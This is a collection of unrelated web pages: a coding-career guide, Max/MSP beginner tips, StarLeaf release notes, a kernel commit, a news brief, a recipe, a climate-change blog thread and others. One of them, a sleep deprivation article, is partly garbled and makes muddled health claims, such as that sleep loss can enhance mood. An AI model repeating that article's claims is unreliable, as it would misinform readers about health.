Second, you need to make sure you’re including the kind of web developer samples that will resonate with clients and employers. This article will give you 10 tips for building a stellar web developer portfolio, after which you can level up your portfolio game even further with this 4-step guide to making sure your work shines.
3. Make Sure Your Elevator Pitch is Good to Go
In between trolling job listings and compiling a knockout portfolio, life sometimes just happens. You never know when you might be in a situation where you’re suddenly face-to-face with someone who can hook you up with that dream web developer job. Which means you better have something to say when and if the time comes.
No problem, we’ve got that covered, too! If you need a little help explaining who you are, what sets you apart, and why (despite maybe not having the most on-paper experience) you’re the person to solve a company’s problems, go ahead and download our guide to writing the perfect personal pitch.
4. You’re Breaking Into Tech—But You Still Need a Conventional Resume and Cover Letter
The tech industry may have changed a lot of the ways we work and find jobs, but one institution remains the same—the venerable cover letter and resume. In order to really nail that web developer job, you’re going to need both.
Because you’re new to web development, it’s critical to write a custom cover letter when applying for jobs. Take the time to research the company or client you’re applying with, notice any trends in their projects or even problem areas (what could they be doing more of?), and make sure to include those observations in your letter. You can even mention a personal experience you’ve had with the company, too. The more original, the better.
Finally, when it comes to your resume, it needs to live up to the same high standards as the portfolio and website projects you’re showcasing. The good news is, there are plenty of free resume templates that will hit that standard for you, giving you one less thing to spend your creative energy on. Check out our list of free creative resume templates for 2019 here.
Bonus Reads:
(back to top)
Chapter 6: Freelancing is a Flexible, Entry-Level Web Developer Option
We’ve said it before and we’ll say it again: tech jobs are flexible. And part of what makes them so flexible are the freelancing opportunities available in every tech field. Whether it’s web development, web design, or digital marketing, tech jobs run the gamut from full time jobs for a single company, to freelance careers, to part time side hustles you can do while caring for children or building your skills.
Web development is no different. If side hustling appeals to you, or if you’re looking for a way to do paid projects while building your skills AND your portfolio, don’t forget that freelance developer work is always an option.
Of course, if you’re going into business for yourself, you’ll need some support.
Here are some articles to get you started on the ins and outs of working as a freelance web developer:
Meanwhile, you can check out our own guide to calculating a freelance web rate here, and you can download our calculator for freelance web design rates here.
(back to top)
Chapter 7: Final Thoughts
Well, you’ve made it this far—which means you’re probably ready to get serious about learning to code and working as a web developer.
Making that first commitment is a big step, so congratulations! But now it’s time to take the next one: consider signing up for our Skillcrush Front End Developer Blueprint or Web Developer Blueprint today, and you’ll be well on your way to a high paying, flexible, creative career in web development.
(back to top)
guide coding for beginners
Get Our Free Ultimate Guide to Coding for Beginners
Scott Morris
|
global_01_local_0_shard_00002368_processed.jsonl/53619 | Understanding of Signs of Sleep Deprivation
Do you know about the signs of sleep deprivation? Sometimes, sleep deprivation also known as insufficient sleep. It is such the sleepless condition which can chronic or acute condition. Both chronic or acute have different case, causes, effect and sign. Different with acute sleep deprivation, a chronic sleep-deprivation have effect such as fatigue, weight loss or weight again, daytime sleepiness and clumsiness.
Sometimes, sleep deprivation can lead to increased energy and alertness and enhanced mood; although its long-term consequences have never been evaluated.
The Signs of Sleep Deprivation
what are the signs and symptoms of sleep deprivation
what are the signs and symptoms of sleep deprivation
What are the signs and symptoms of sleep deprivation? The Signs of Sleep Deprivation have many signs. First, symptoms of daytime deficiency include waking up with a headache and feeling tired throughout the day. Sleep that is not easily irritated. They can have a poor memory, lack of concentration, and inability to perform certain tasks, which leads to poor job performance.
They have difficulty with motor functions, and they can be dangerous to operate a car or engine. Cognitive functions such as skill skills can be influenced. That can cause depression too. It is important not to overlook these symptoms because lack of sleep ultimately affects them in life and work relationships, and gives them a poor quality of life – not to mention that there may be physical causes underlying snoring or sleep apnea.
Besides, the main sign of sleep deprivation, in healthy people, is tired all the time. Falling asleep requires a lower level of body activity. Heavy eyelids are the main sign of sleep deprivation. Sleep deprivation causes cognitive impairment and the potential for fatal danger of falling asleep in dangerous situations, such as behind the wheel.
The main trigger for sleep deprivation
Commonly, the sign of sleep deprivation is fatigue and sleepiness during the day. In extreme cases, sleep can overcome the individual at the most convenient time. Many people underestimate the extent to which they are deprived of sleep. Besides, sleep-deprivation also affects negative relationships and moods, incerease the nature of irritability and affect mentall abilities.
Morning lethargy is a common complaint. If it is severe enough to interfere with arrival at school or at work, or affect the quality of life, “quick tips” may not be enough. Sleep disturbances (sleep apnea), problems with circadian rhythms (internal clocks), effects of drugs, or actual sleepiness disorders may require consideration before trying a quick solution. Exposure to morning light and maintaining a regular schedule can help.
physical signs of sleep deprivation
physical signs of sleep deprivation
Physical signs of sleep deprivation
Sleep deprivation does not give enough time to sleep because of physical or mental problems. Some physical signs of sleep deprivation such as feel sleepy during the day and experience “microsleep”. Besides, sleep deprivation can significantly affect people’s performance, including their ability to think clearly, react quickly, and shape memories. Sleep deprivation also affects mood, which causes people to get angry easily. Research shows that not getting enough sleep, or poor quality sleep, increases the risk of high blood pressure, heart disease, obesity, and diabetes.
What Causes of Sleep Deprivation?
What causes of sleep deprivation. First, a personal choice such as playing games, clubbing or watch something. Second, work also become one of the reasons why people have a problem with their sleeping. Third, people who have sleep disorders such as sleep apnea, snoring can interfere with sleep many times at night.
Poor sleep hygiene – the habits of some people are annoying; for example, drinking coffee or smoking near bedtime stimulates the nervous system and makes sleep less likely. Another common problem is lying and worry, rather than relaxing. After understanding the signs of sleep deprivation, are sure that you are oke?
5/5 (1)
News Feed |
global_01_local_0_shard_00002368_processed.jsonl/53624 | 50 Tutorials of Creating Buttons And Badges
The tutorials in this list are extremely easy-to-follow. In this amazing collection we have 50 Unique Buttons And Badges Tutorials for you all. They teach you how to create beautiful and unique buttons and badges for your websites in step-by-step tutorials. Buttons and badges help spice up website. They have the ability of enhancing the [&hellip
40 Fresh Examples of Flat Web Design
Flat design is the latest and most widely used trend nowadays which depicts the era of development and modernity perfectly. This design is extremely modern and attractive with no extra or unnecessary effects such as drop shadows, gradients, [&hellip
15 Creative CSS Approaches Used in Websites
Nowadays, web designers are offered a wealth of tools that will help them do everything from organizing and creating a particular design to debugging their final design. However, it seems that HTML codes are not enough when it [&hellip |
global_01_local_0_shard_00002368_processed.jsonl/53651 | So, I've finally gotten around to d/l-ing the demo for Max/MSP. I've been going through the Tutes and learning a whole bunch. I'm now at the point where I think I can start building some stuff. I've already done one that picks a word at random from a list and inputs it into a sentence. It's really fun, but it's a little simplistic and I'd like to move on to something audio related.
Can anybody think of any simple audio ideas to start on that won't be too complex? I've got ideas for building massive interactive generative music engines and stuff like that, but I figure I'd better figure out how to get my britches on before I go outgrowing them.
I've been thinking of something like a delay module or distortion unit, but I have no idea how much work and depth of skillset I'll need to be able to actually do something like that. Ideally I'd like to finish it before the demo runs out (still saving for a full copy).
Some tips for beginning Max/MSP users:
• Check out the examples (Extras menu > Examples) and unlock the patcher to see how they are built up. Try to understand how they work.
• Every help file of every object is a Max-patcher too: you can unlock them, select and copy what you need and paste it into your own patch. Watch out with editing the help patches: if you then save it, it permanently overwrites the help file.
• Check out the Object Thesaurus in the Reference, with it you can search for a certain functionality and it will list the object to use.
• Learn the hotkeys: cmd-e to lock/unlock the patcher, i for new int box, f for new float box, n for new object, m for new message, t for new toggle, b for new bang, c for new comment, cmd-shift-e to group the selected items into a subpatcher, cmd-k (on windows, cmd = ctrl) for hide on lock, cmd-l for show on lock, cmd-y and cmd-shift-y for align objects/patch cords (this is ctrl-shift-a on windows) and more.
• Comment your work. Max/MSP is a programming language, and if you create some complex logic during a eureka-moment you will thank yourself later if you annotated it with a short explanation on how it works. It makes debugging a lot easier.
• Turn on 'probing' in the Debug menu so that when you hover with the mouse over a signal cord, you will see its current amplitude.
• Use [print] often in the creation process to check if objects output the values you expect them to. You can remove the print objects later on when you have verified that everything works.
• Make yourself familiar with the difference between Max and MSP, meaning the differences of doing stuff at scheduler rate vs at audio rate.
• Learn what the settings in the 'DSP Status' window do and what to check when the sound isn't working.
• Learn how pattrstorage works early on and build your patches with that in mind. Adding preset-storage capability later on is a pain in the ass.
• Before trying to build something, search the forum for it ( http://cycling74.com/forums ) Chances are someone had the same idea before you and has posted an example patch. This also applies when you get stuck with something: search the forum because you probably won't be the first to have this particular problem.
• Talking about the forum: read this topic http://cycling74.com/forums/topic.php?id=26095 - it tells you how to post patches on the forum and other basic, need to know stuff.
• If you have created something awesome, return the favor and share it on the forum!
• Check out http://maxobjects.com : there are lots and lots of abstractions and cool externals that add to the functionality of Max/MSP or make your life a little bit easier. Watch out with externals that are for one platform only though, you might run into compatibility problems later.
• While you're there, download the following libraries: ejies, jasch, jb (use the search function). Very useful stuff.
• Watch out for feedback loops in a data (or signal) stream (an object feeding data back to itself at the same rate as it receives it). Max often catches this situation and shuts down the scheduler with a warning, but sometimes it doesn't and Max will become unresponsive or even crash. Speaking about crashes:
• There are bugs in the program, and it will crash. So save often and think of some kind of versioning strategy. If you think you found a bug, search the forum first. When nothing comes up, make a new post that explains how to reproduce the bug, along with a tiny example patch. It will then most likely be fixed in the next version (this goes quite quickly, and the staff is very responsive).
Sound-design specific stuff:
• Watch the volume when using headphones. If you're working with signals while they are connected to the dac (output), unexpected stuff might cause very loud output.
• In the same vein, limit the input values of resonant filters, because they can produce nasty output. [clip] and [clip~] are your friends.
• Make yourself familiar with sfrecord~, sfplay~, groove~, record~ and buffer~. Writing and reading audio files is essential if you have created something cool and want to save it. In the Extras menu is a little tool called Quickrecord, this lets you record and save whatever is being sent to the dac.
• To avoid clicks when changing the volume of a signal with a non-signal number, or some other signal parameter (of a filter for example), put an [append 20]---[line~] in the signal flow to smooth the values in the audio domain.
• Check out pfft~ and the examples regarding fft and convolution. Quite advanced stuff, but it can be loads of fun too.
• Do you have a midi controller? Check out midiin, and create a little patch with you specific controller settings already set up and routed so that you only need to drop it in any patch you make to add midi functionality. Doing sound design with knobs is more intuitive and more fun than with the mouse only.
• Check out Max for Live if you want better integration of your Max-creations with a DAW.
• Build or find a constant-power fading and panning patcher, you will need it when crossfading or panning between signals.
• Learn how poly~ works early on and build patches with lots of parallel stuff around poly from the beginning. Think synths and other layered or multi-timbral sound generators and modifiers.
Some more ideas to build:
• A phaser;
• A multi-tap delay;
• An LFO-driven variable filter;
• An amplitude-driven filter with smoothing;
• A basic subtractive synth, which you can then extend with frequency modulation, the above effects, ADSR envelopes (using [function] or [adsr~], a step sequencer [techno], other waveforms (you can steal this from the X.FM~ synth in the examples) and more crazy stuff.
As you can tell, I spent far too much time with Max/MSP, and I still am. And yet, though I can create anything I want with Max+MSP, the world of Jitter (video) is still relatively unexplored territory where even more wonders await...
• 2
That's pretty well summarized. If only the Universities which teach Max/MSP would list something like this for their students...it would justify the tuition fee. :P One thing I would like to add to the list is... Have a clear idea about what you want to do and have a block diagram of how you are going to achieve it using Max/MSP. Rest is just logic and know-how about the Max/MSP. If one doesn't have the idea... even the complete know-how would be useless. – Rishi Dani Apr 27 '11 at 0:41
• 1
Some great stuff in there! – Andrew Spitz Apr 27 '11 at 14:14
• 1
I kneel in praise of thee. – g.a.harry Apr 30 '11 at 17:58
check out this guy: http://www.youtube.com/user/BazTutorials
he's got a lot of short max/msp tutorials, most of them about audio
and lately he started a playlist called 'patch a day' ;) so you'll have plenty of 'simple audio ideas' to choose from.
check out the msp tutrials... (help / msp-tutorials) they'll teach you all the basics you need to know to create and manipulate sound-effects in MAX... or just set yourself a goal (like a frequency-reactive delay, or ... whatever) and research the nodes you need to know to create it... this method might take a little bit longer, but it's probably more fun ;) also the reference and the node-help-files (rightclick the hot-inlet of a node) are very helpful!
• I've been doing the tutorials, but it's kind of like reading a manual... I prefer to explore first and find out what I'm doing wrong later. – g.a.harry Apr 26 '11 at 16:50
Peter Batchelor's got some good tutorials that got me started in the music arena.
It's a year since this thread was started, I'm curious... how did you get on, and did you make anything that you still use?
• A few things here and there. I'm in the process of outputting them in useable formats and getting them up on my site. I'll drop a link when they're up. – g.a.harry May 10 '12 at 14:03
Your Answer
|
global_01_local_0_shard_00002368_processed.jsonl/53652 | Commit e525293d authored by Christoph Hellwig's avatar Christoph Hellwig Committed by Linus Torvalds
Add hch to .get_maintainer.ignore
While the idea behind get_maintainer seems highly useful it's
unfortunately way to trigger happy to grab people that once had a few
commits to files. For someone like me who does a lot of tree-wide API
work that leads to an incredible amount of Cc spam.
Signed-off-by: default avatarChristoph Hellwig <>
Cc: Joe Perches <>
Signed-off-by: default avatarAndrew Morton <>
Signed-off-by: default avatarLinus Torvalds <>
parent 2f064f34
Christoph Hellwig <>
Markdown is supported
0% or
Finish editing this message first!
Please register or to comment |
global_01_local_0_shard_00002368_processed.jsonl/53670 | 14:57 GMT +323 January 2020
Listen Live
Get short URL
0 0 0
MOSCOW (Sputnik) - Dzhokhar Tsarnaev, who was sentenced to death for the 2013 Boston Marathon bombing, wanted to plead guilty and aid prosecution in exchange for life imprisonment but prosecutors rejected the deal, media reported on Thursday citing court documents.
Tsarnaev "offered to provide certain kinds of cooperation and assistance, in the course of plea negotiations," the document unsealed on Wednesday read, as quoted by the NBC News broadcaster.
READ MORE: Boston to Commemorate 3-Year Anniversary of Deadly Marathon Bombings
However, the authorities "consistently rejected" Tsarnaev's conditional offers, according to the broadcaster.
The Boston Marathon bombing on April 15, 2013, killed three people and injured hundreds of others. Dzhokhar and his older brother Tamerlan were found guilty of the attack. Tamerlan was killed by police while on the run on April 19 of the same year, while Dzhokhar was arrested the following day and sentenced to death by lethal injection in May 2015.
Boston Marathon Bomber Faces Lethal Injection After Losing New Trial Bid
Boston Marathon Bomber’s Friend Sentenced to Time Served
Boston Marathon Bomber’s Lawyers File Appeal Citing Publicity
death penalty, Dzhokhar Tsarnaev, United States
Community standardsDiscussion
Comment via FacebookComment via Sputnik |
global_01_local_0_shard_00002368_processed.jsonl/53676 | THIS WEEK’S TIP: Understanding CSV (Commissionable Sales Volume)
Whenever sales are mentioned in the compensation plan, they won’t be shown in local currency. In order to make our compensation plan applicable to all markets, regardless of currency, we use a common measurement: commissionable sales volume or CSV. CSV is not currency. It is a measurement unit by which sales are tracked. Our ordering systems and reports convert your local currency to CSV automatically.
United States (USD) 1.0000
Canada (CAD) 0.7500
Germany (EUR) 0.8403
Austria (EUR) 0.8333
France (EUR) 0.8333
Netherlands (EUR) 0.8264
United Kingdom (GBP) 1.1111
New Zealand (NZD) 0.5797
Australia (AUD) 0.6818
To convert local currency to CSV, you multiply. For example, if I sell $520 CAD, I would multiply 520 by 0.7500 and round to two decimal points.
520 x 0.7500 = 390
To determine how much you need to sell for any given CSV amount, divide the CSV amount by the factor above, depending on the currency used. For example, my quarterly minimum is 300 CSV; how much do I need to sell each quarter?
300/0.7500 = $400 CAD
United States (USD) 1.0000
Canada (CAD) 1.3333
Germany (EUR) 1.0000
Austria (EUR) 1.0000
France (EUR) 1.0000
Netherlands (EUR) 1.0000
United Kingdom (GBP) 0.7500
New Zealand (NZD) 1.5000
Australia (AUD) 1.3333
To determine the commission to be deposited into your account, use the Payout Factor associated with your country.
For example, I sold 800 CSV in one month and am at a bronze title. That means I will receive 20% instant income and a 4% volume rebate for a total of 24%.
800 CSV x .24 = 192
Multiply the number calculated above by your country payout factor (1.3333) to find out how much you will be paid in volume rebates.
192 x 1.3333 = $255.99 CAD
For US demonstrators the CSV factor is 1; there is no need to calculate.
1. Are you reading our Pals Weekly Bulletins?
2. Have you signed up for our Facebook Private Groups?
3. Questions? Email Me |
global_01_local_0_shard_00002368_processed.jsonl/53690 | With Mitt Romney giving his withdrawal speech today at CPAC, the SCO poll should probably be worded, "Since John McCain is the Republican candidate for President…." OK, OK, technically it isn’t true yet, but this essentially seals the nomination for McCain.
That’s one less chance for a brokered convention this year. Ah well, the Democrats may still give us one, unless Howard Dean has his way.
[tags]Mitt Romney,John McCain,Howard Dean,brokered convention[/tags]
Filed under: DougGovernmentPoliticsRepublicans
|
global_01_local_0_shard_00002368_processed.jsonl/53715 | Real numbers - Commutative field
Our goal is to give a definition of the Real Numbers.
One of the properties of the real numbers as we know them is that we can add, substract, multiply, divide real numbers and get a real number. There exists a mathematical structure, commutative field, that just do that.
Definition of a Communtative field
A commutative field |
global_01_local_0_shard_00002368_processed.jsonl/53720 | Who Are You? Connect to Your Belovedness
This Sunday, we remember our baptism and the voice of God which proclaims to all of us, “You are my beloved.” Can you imagine what relationships could be like without the human fear of rejection? Let’s live in the abundance of grace and acceptance and just see what happens when we offer that to others!
Post a comment |
global_01_local_0_shard_00002368_processed.jsonl/53727 | How to set a reminder about a booking
When you need to flag something up about one of your bookings, or set yourself a reminder to ask your guest something at a later date, you can do this in SuperControl PLUS or AGENCY. We’ve got it covered with a handy little feature that lots of our clients find really useful.
When would you use it?
Perhaps you want to send the guest a specific email (not one of your regular scheduled emails), e.g. if they didn’t complete all sections of your booking form you might want to find out the names of the rest of the party before they arrive so you can personalise your welcome pack. Or if it’s a guest that you know because they have stayed lots of times in the past you might have agreed different payment terms, so you need to remind yourself when to expect the final payment installment.
Here’s how to set up a reminder:
1. Login to your SuperControl account.
2. Go to the booking you want to set the reminder for.
3. In the booking, scroll to the bottom of the page and click Add reminder:
4. Type your reminder into the text box that pops up, and select either the date you want to be reminded, or you choose from the dropdown box to set it to alert you x days Before / After e.g. Arrival / Departure / Today:
5. Click Save.
How the reminder works:
Once saved, the reminder will pop-up as soon as you login to SuperControl on the Payment reminders screen, so you can’t miss it. Even if you have a lot of reminders set for various bookings, it is still manageable. One reminder box will pop-up containing all of them listed in date order.
Also whenever you access the booking, it will also pop-up. Just tick to mark it as complete once the reminder has been carried out.
That’s all there is to it. |
global_01_local_0_shard_00002368_processed.jsonl/53730 | About Fusion Drive, a storage option for some Mac computers
Fusion Drive combines the performance of Flash storage with the capacity of a hard drive.
Presented as a single volume on your Mac, Fusion Drive automatically and dynamically moves frequently used files to Flash storage for quicker access, while infrequently used items move to the high-capacity hard disk. As a result, you enjoy shorter startup times and—as the system learns how you work—faster application launches and quicker file access.
Fusion Drive manages all of this automatically in the background. And it comes already set up, so you don't have to do anything to make it happen.
Fusion Drive became available as an option for iMac and Mac mini models introduced in late 2012. Fusion Drive now comes standard on some iMac and Mac mini models, and is a configurable option on others. For even faster performance, you can configure a model that uses only flash storage (SSD).
Learn more
• You can use Disk Utility to add a single macOS partition to the hard disk on Fusion Drive, and that partition will function as a separate volume, not as part of Fusion Drive. Disk Utility then dims the button to prevent additional partitions. If creating a Windows partition, use Boot Camp Assistant instead.
• You can use Target Disk Mode to mount Fusion Drive from another Mac that is using OS X Mountain Lion v10.8.2 or later.
• Learn what to do if your Fusion Drive appears as two drives instead of one in the Finder.
• An external drive can't be used as part of a Fusion Drive volume.
Published Date: |
global_01_local_0_shard_00002368_processed.jsonl/53738 |
These release notes also document the latest version of the StarLeaf Microsoft Outlook Add-in for Windows.
New features
Cloud version 4.0 provides the following new features, which are each described below:
Feature Description
Web browser calling and conferencing
StarLeaf Cloud now allows for video calling to take place within a web browser. Video calling within a browser is sometimes known as WebRTC (Web Real-Time Communication).
People who want to join a StarLeaf conference (and who do not have their own video equipment) no longer have to download Breeze to do so.
• Anyone can now directly dial in to a StarLeaf conference from their web browser, simply by clicking a link.
• Anyone can now directly call any StarLeaf Cloud endpoint from their web browser. This includes StarLeaf room systems, StarLeaf desktops, StarLeaf Breeze, and any H.323 or SIP endpoint that is registered to the StarLeaf Cloud.
Guest invites now include a link to call the person who sent the invite point-to-point from a web browser.
If you are a StarLeaf user, you can now include a link in your email signature (or elsewhere) that launches a browser ready to call you.
You can also create links to allow video calls to anyone in your organization from your web sites or applications. For more information, refer to Browser Click-to-Call links.
A video call from Chrome browser to a StarLeaf desktop:
Cloud version 4.0 introduces support for video calling in Chrome, Firefox, and Opera. Cloud version 4.0 also introduces support for video calling in Safari and Internet Explorer with a add-in. To support this functionality, video callers need at least:
• Firefox 45
• Chrome 46
• Safari 9 (requires add-in)
• Internet Explorer 11 (requires add-in)
• Opera 39
New conference controls for StarLeaf endpoint users
When in a conference, the StarLeaf touchscreen controller and Breeze show new controls. You will have access to these controls if you are:
• the conference owner in an ad hoc (QuickMeet) conference
• a participant in a scheduled conference
These controls are not available to participants dialing into a conference from outside an organization.
Participant controls
You can now individually control (mute or remove) every participant in a conference. Participants who have been individually muted using these controls see a ‘you are muted’ notification. When there are five or more participants, the participant list becomes horizontally scrollable.
New controls on the layout tab allow you to change your layout (including a new conference layout: see below)
Conference control tab
The new conference control tab allows you to:
• Lock conference: This prevents any more participants from joining this conference. Those that attempt to do so instead see a splash screen telling them that the conference is locked
• Mute all: This control mutes all other participants in the conference. Participants muted in this way see a ‘you are muted’ notification
• End conference: This control causes the conference to end and all participants to be disconnected from it. There is a confirmation dialog before the conference is ended
Phone 2105 General Availability Cloud version 4.0 provides support for the StarLeaf Phone 2105.
Cloud API
StarLeaf Cloud version 4.0 provides support for the StarLeaf Cloud API. This API enables channel partners and customers to create bespoke solutions. The Cloud API includes requests for creating and updating conferences, sending guest invites, and for reseller users, managing customer accounts and adding users. For more information, refer to the Cloud API information:
Cloud API
or contact StarLeaf technical support.
Hunt groups Hunt groups can now be configured through the Portal. This is an additional option. Contact StarLeaf technical support or your reseller if your organization requires hunt groups.
Customizable branding
A new feature in the StarLeaf Portal allows branding of touchscreen and Breeze user interfaces, of emails, and of Portal pages (for example, conference invite emails, guest invite emails, the logos that you see in the Portal).
If required an organization can purchase this feature.
Alternatively, channel partners can purchase this feature for the purpose of branding all their customer organizations.
Conference improvements
• A new conference layout for speaker-only. In this layout, only the current speaker is seen in a large pane. Counters display the numbers of additional audio and video participants in the conference. You can select this layout:
• as the default layout for conferences on the Edit organization page
• from the touchscreen controller or Breeze during a scheduled or ad hoc conference to change your view of the conference in which you are participating
• when you schedule a conference in the Portal:
• When you are scheduling a conference, the StarLeaf Portal now warns you if a meeting room you have selected is already booked
• You are no longer automatically disconnected if you are the final participant in a conference
• Audio-only and video-muted participants do not occupy a video pane in the conference layout. Instead, they are listed by name (or telephone number, or URI) with an icon indicating status:
This is an audio-only participant
This participant has muted video
This is a video participant, but there are insufficient panes in the conference layout to display everyone in the conference
In the image below, you can see the new speaker-only layout with other participants listed in the top right along with their status icons and the recording icon.
• The new default layout for ad hoc conferences will be the ‘large speaker with strip’ layout:
To change the default layout for conferences, go to Edit Organization > Advanced settings > Default layout for conferences.
Camera support
The VHD-V61 PTZ camera is now supported for use with GT Mini 3330 and Group Telepresence 3351.
Issues resolved
Bug fixes effective in StarLeaf Cloud 4.0:
ID Description
6364 In the previous version, under rare circumstances where a participant joined a conference via an attended transfer, conference participants received no audio or video. StarLeaf Cloud 4.0 fixes this issue.
8880 In the previous version, under certain circumstances the sharing of content did not survive a call transfer. StarLeaf Cloud 4.0 fixes this issue.
8911 In the previous version, in a call using SIP, if there was a SIP request to put the call on hold, this could cause the call to disconnect. StarLeaf Cloud 4.0 fixes this issue.
9079 Cloud 4.0 introduces a change to avoid unnecessary updates to the capability set sent to H.323 endpoints.
9113 In the previous release, G.722 audio was corrupted on H.323 calls interworked to SIP by the Cisco TelePresence Video Communication Server. StarLeaf Cloud 4.0 fixes this issue.
StarLeaf Microsoft Outlook Add-in for Windows
Download the latest version of the Outlook Add-in here.
New features
New features in StarLeaf Microsoft Outlook Add-in v1.1.1b7:
Features Description
Install for ‘all users’
By default the StarLeaf Outlook Add-in installer installs to a single user profile in Windows.
Optionally, you can now use the ALLUSERS flag to control this behavior:
• ALLUSERS=0 This is the recommended default and installs to a single user. The add-in automatically upgrades in this case
• ALLUSERS=1 This causes a machine-wide install and in this case, auto upgrade is disabled. You need to manually push upgrades to your users
Join now support on StarLeaf GTm The Join Now button on the StarLeaf GTm is now supported for StarLeaf scheduled conferences. The button lights green and allows someone to press-to-join if the meeting room has been invited to a StarLeaf scheduled conference. Previously, the Join Now button on the GTm only supported Skype for Business meetings.
Issues resolved
Bug fixes effective in StarLeaf Microsoft Outlook Add-in v1.1.1b7:
8727 For the best user experience, StarLeaf recommends that Outlook is not running during installation of the add-in. The add-in now asks the user to close Outlook if it is running during installation.
9383 You can now edit the time of single meeting occurrence as many times as you want.
9539 The Forgotten your password link on the add-in login window now launches the correct web page.
Known limitations
For interoperability issues, refer here.
Reference ID Description
5454 Breeze fullscreen mode is not supported on Mac OSX versions below 10.7.
9922 Limitations in the add-ins for Internet Explorer and Safari determine that, currently, calls from those browsers (WebRTC) to audio-only users are not supported. |
global_01_local_0_shard_00002368_processed.jsonl/53752 | Tom Brady’s Favorite Dessert
Tom Brady has a pretty strict diet that he follows. This is one of the reasons he is still able to perform at such a high level after all these years. In an interview he revealed what his favorite dessert is. Although it sounds weird it’s avocado ice cream. I found a great version from Greg Ladas, the author of The Couch Potato Diet.
Although this isn’t the one from Tom’s $200 nutritional Guide it’s still healthier than regular ice cream and tastes pretty good.
Base Ingredients.
1 cup coconut milk.
1/2 scoop protein powder made from hemp.
1/2 ripe avocado (use a SlimCado which is the brand name of the Florida Avocado, which boasts 35% less calories and 50% less fat).
1 medium banana.
12 packets Stevia.
1 tbs Agave Nectar.
1/2 cup Greek yogurt (2%).
1tsp pure vanilla extract.
Base Preparation.
Add to a blender coconut milk, Stevia, Agave, vanilla extract, and hemp powder. Peel avocado, remove pit, cut in half, dice half into a few pieces and add to blender. Dice banana into a few pieces and add to blender.
Make “banana coconut dream.”
Add 3 tbs unsweetened shredded coconut to base ingredients in blender.
Or make “strawberry banana blond.”
Add 1 cup frozen strawberries to base ingredients in blender.
Last steps
Blend until smooth.
Place mixture in individual sized (1 cup) plastic containers and freeze.
Before serving, take from freezer, microwave for 30-50 seconds, or leave at room temperature for 15-20 minutes until slightly melted and creamy.
Get Started Here:
|
global_01_local_0_shard_00002368_processed.jsonl/53756 | Question mark
15 Responses to Climate change? My thoughts.
1. Are you saying there’s considerable uncertainty as to whether climate change is happening, or that you’re not persuaded it’s anthropogenic, or that you don’t know anything about the issue at all?
• drfreddy says:
All of the above. I think. No wait. Damn… can’t decide on whether climate change is a known unknown or an unknown unknown.
Does anybody else share this experience: The older you get, the LESS certain you get about everything. I was so damn wise when I was 20. Now, I dunno.
2. First things first, then: climate is changing. Global temperatures are increasing year on year. Are you happy enough with that as a starting point?
• drfreddy says:
Very first things first: Climate has always been changing. The summers of the 17th century were hotter than those we have now and I bet the winters of the Ice Age were pretty icy too. My point being: There is too much information available for anyone person to speak with absolute certainty about anything. I came to science for answers, and I have indeed gotten a few, but in them, many new questions. The topic, climate change or not, is irrelevant to what I’m really trying to communicate. The more you learn and the more you question, the less you know for absolute sure, IMHO. I can’t be alone feeling like this? I was cocksure about my political views and so forth when I was 20. The world was black and white then, divided between obvious good and bad. I see colors now. Everything is complicated.
3. Philosophically, two points:
1. Strictly, you can never *prove* any hypothesis in science. Nonetheless, the accuracy and abundance of data can be sufficient in some cases that it shows something proven as near much as it will ever need to be. (Evolution is a good example.)
2. Epistemologically, you cannot disprove that you didn’t come into existence 10 minutes ago along with memories that merely make it seem like you’ve been around for a lot longer.
Such academic pursuits in philosophy have little bearing on climate change so let’s stop with the “you can never be certain about anything” line; that’s not going to do any good. What will do good is if we consider the evidence, as good scientists should.
My second point would be on causality: Yes, climate has been warm in the past – that does not mean that what caused the warmth then is what is causing it now. So discounting anthropogenic global warming (AGW) on that basis is a non-sequitur. You have to consider what is the cause of the present warming.
4. drfreddy says:
I don’t think we disagree, really. I have university credits in theoretical philosophy, for what that is worth, and you seem pretty up to date as well. I believe the only theory truly proven so far is the one about one’s own existence (“I think, therefore I am.”) Everything else, strictly speaking, is still hypotheses. (Some more likely correct than others.)
Regarding anthropogenic climate change: As I see it, the jury is still out. Having said that, I don’t think we should wait and see either. Too much risk involved.
Luke, I would love to hear your personal views on the topic I’m trying to highlight: Do you at this stage in life feel more or less certain about things in general, compared to when you were 20?
5. Briefly on the first two points:
1. Even “I think, therefore I am” can be doubted. I won’t expand on that now. For a bit of fun check this out:
2. On climate juries: I have to disagree, the “jury” is not out. The probability that current climate change is driven largely by human activity is overwhelming, and you can see this from looking at the multiple corroborating data sets. Again, not enough time do the subject justice here, unless you’re sufficiently interested to pursue it, but we know that CO2, methane and other gasses are increasing in conc. in the atmosphere, we know from isotope distributions they’re from human activity, e.g. fossil fuel burning, we have excellent satellite data, ever-improving models… it goes on… By contrast, if you look at the “arguments against AGW, you find people just making stuff up to suit their cause (e.g. volcanoes emit more CO2 than humans (untrue), or even lying to people about basic thermodynamics – They wouldn’t need to do this if there was a genuine case against AGW. On the point about certainty I’ll reply in the next comment as I don’t know how long one comment is allowed to be…
6. To answer your question about certainty and youth/aging: I think when I was younger I was more easily persuaded of particular viewpoints by people whose manner impressed me. In particular, on religion, psychology and philosophy I was taken with people who were obviously intelligent but also offered something outside the mainstream. Only a portion of the views I adopted from those people remain things I still hold as valid. Those that were rejected were rejected for two main reasons: I looked deeper into the evidence surrounding their claims, or otherwise the explanations I originally accepted, as elegant and attractive as they were, were often divorced from reality. In particular, my views about religious belief were elaborate in the past, to the point where I struggled to explain them well to people. I held that religion was a valid “realm” of experience, a valuable one, but which should not be conflated with literal reality. (There was more to it than that, even more than Gould’s NOMA hypothesis.) But ultimately, people don’t work the way my model of religion described their faith to work, so for the sake of parsimony I had to drop it. Other things I’ve held onto, rather idealistically. My political opinions, for example, are idealistic in the sense that what I would most like politics to do accords with theory more than historical success. How I vote or participate in politics generally is informed by my idealism, but tempered by the realisation that things go step-wise, in increments, and that one has to do the best with what one is given, rather than angrily protest the absence of perfection.
7. On the question of certainty, I would say that I am less certain about some things and much more certain about others than I was when younger. I hope the extent to which these have changed are more and more to do with a consideration of the evidence, but part of that also involves recognizing that humans aren’t entirely rational creatures and it would be stupid for me to pretend I am an exception.
An example of something I feel justified in being more and more certain about: I’ve always pretty much believed human beings are an evolved species, as are all species, but every study in biology seems to confirm this belief more. So I feel justified in being more and more certain that evolution is true (as I say, not that I doubted it much to begin with, perhaps excepting a few months after I read Phillip E. Johnson’s books and before I sought the scientific answers to his nonsense).
